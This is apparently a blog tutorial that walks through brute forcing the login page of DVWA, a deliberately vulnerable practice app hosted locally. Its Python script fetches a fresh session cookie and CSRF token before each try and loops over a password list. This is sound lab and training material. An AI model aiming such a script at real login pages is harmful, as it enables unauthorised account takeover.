Brute forcing DVWA's initial login page

2022-09-17

David Pierre

Although it is quite easy to find write-ups for the DVWA's brute force login challenge, hacking its actual login page may bring up some challenges for newcomers. Let's understand why and how to circumvent it!

Damn Vulnerable Web App, also known as DVWA, is a PHP/MySQL web application that is purposefully vulnerable, as the name suggests, to be hacked, tested, and serves as a learning playground for people that want to practice their security skills in a legal environment.

When we set up our DVWA server (in this case, I preferred using a docker image to host it for me), and do an initial reset database it will set up and show the default credentials for us: username admin and password password, pretty common default credentials for a web server, right? However, if we could not hack, automate, and find our own way to the system, how fun would it be?

So, this is the first thing we see when we access our DVWA page: DVWA Login Page

First things first, let's try to grasp this page and see if we can grab any hints that we could use, for it let's check the network tab as well. You can use another proxy to intercept requests too if you prefer.

Highlighted requests

As you can see, I've highlighted some things in the image above. The request highlighted in blue is the POST request we just made trying to log in. After that, the server processes the request and redirects us to login.php as we can see in the red highlight, with a message of "Login failed", as shown in the yellow highlight on the left. Let's copy the post request as a cURL command and see how it is formed.

Copy request as cURL command

Although cURL commands are pretty useful, I don't find them easy to read, so let's transform it into a Python request and see how it looks. For that, we can use the cURL converter website to do the job for us and its output will look something like this:

import requests

cookies = {
    'PHPSESSID': 'fmpdptokjk1ogvashj9j5usdn4',
    'security': 'low',
}

headers = {
    ...
}

data = {
    'username': 'teste',
    'password': '123',
    'Login': 'Login',
    'user_token': 'e877712995a1d2bbae4c622fff7f9b9a',
}

response = requests.post('http://localhost/login.php', cookies=cookies, headers=headers, data=data)

Here we can see a few interesting things in the request we made: a cookie called PHPSESSID and a parameter called user_token, if we try to refresh the page and log in again we'll see that both of them will have new values. PHPSESSID is a PHP way of setting a session cookie and user_token looks like a CSRF Token, a unique, unpredictable value that the server uses to validate the given request and properly process it if valid. Let's see what happens if we make a few requests without changing its value:

for _ in range(1, 3):
    response = requests.post('http://localhost/login.php', cookies=cookies, headers=headers, data=data)
    print(response.content)
    print("==============")

The output we have is:

Print screen of the invalid CSRF output

After the first request, you'll probably see we have a CSRF token is incorrect message within its body content, so this confirms our theory! So what can we do to get around it and be able to automatize our requests?

First of all, we've already seen that every time we load the page a new token is generated for us, we can use that for getting a new token before every new request we make, so let's try making a GET request and see what we get.

response = requests.get('http://localhost/login.php')

print(response.content.decode('UTF-8'))

And we'll get a tag like this within our response:

<input type=\'hidden\' name=\'user_token\' value=\'faaf19846a466a9f328f2a43a06cfdb6\' />

So we can probably extract that using a regex. Let's try that

def get_user_token(body):
    return re.search("user_token\\\' value=\\\'(.+)\\\'", body).group(1)

Let's also get the PHPSESSID cookie, since we're already getting data from the new request. It is in the Headers, however, we can do it a little bit easier than the token.

def get_phpsessid(headers):
    return headers['Set-Cookie'].split(';')[0].split('=')[1]

And wrap up everything into a single function

def set_request_tokens():
    response = requests.get('http://localhost/login.php')
    cookies['PHPSESSID'] = get_phpsessid(headers=response.headers)
    data['user_token'] = get_user_token(body=response.content.decode('UTF-8'))

Let's set a small wordlist of passwords so we can test if we find a successful login.

PASSWORDS = [
    "teste",
    "admin",
    "password",
    "tentativa",
    "aloha",
    "ihuuuu",
    "qwerty",
    "qw12er34ty56"
]

so, just to finish our little script, let's build the last function to do the dirty work for us.

def brute_force():
    for password in PASSWORDS:
        set_request_tokens()
        data['password'] = password
        response = requests.post('http://localhost/login.php', cookies=cookies, headers=headers, data=data)
        
        if 'Login failed' in response.content.decode('UTF-8'):
            continue

        print("=================")
        print("Successful Login!")
        print("Credential Found:")
        print(f"- Username: {data['username']}")
        print(f"- Password: {data['password']}")
        print("=================")

This function iterates over the PASSWORDS list we've defined earlier, sets the tokens we need for every new request, and, finally, does the request. After that, we check if there's a Login failed message within the response content to see if we succeeded or not and then print out the credentials found. The final output will look like this:

Script output Result

Conclusion

And that will be it! Although it's a very simple hacking problem, some people might run into trouble dealing with those tokens and not understand what's going on. Especially when we try to use tools such as Burp Suite or THC-Hydra for brute forcing it, since the results may not be consistent if not set up correctly. You can find the whole script in my Github.

Feel free to comment below with any questions, suggestions, or relevant points you might have!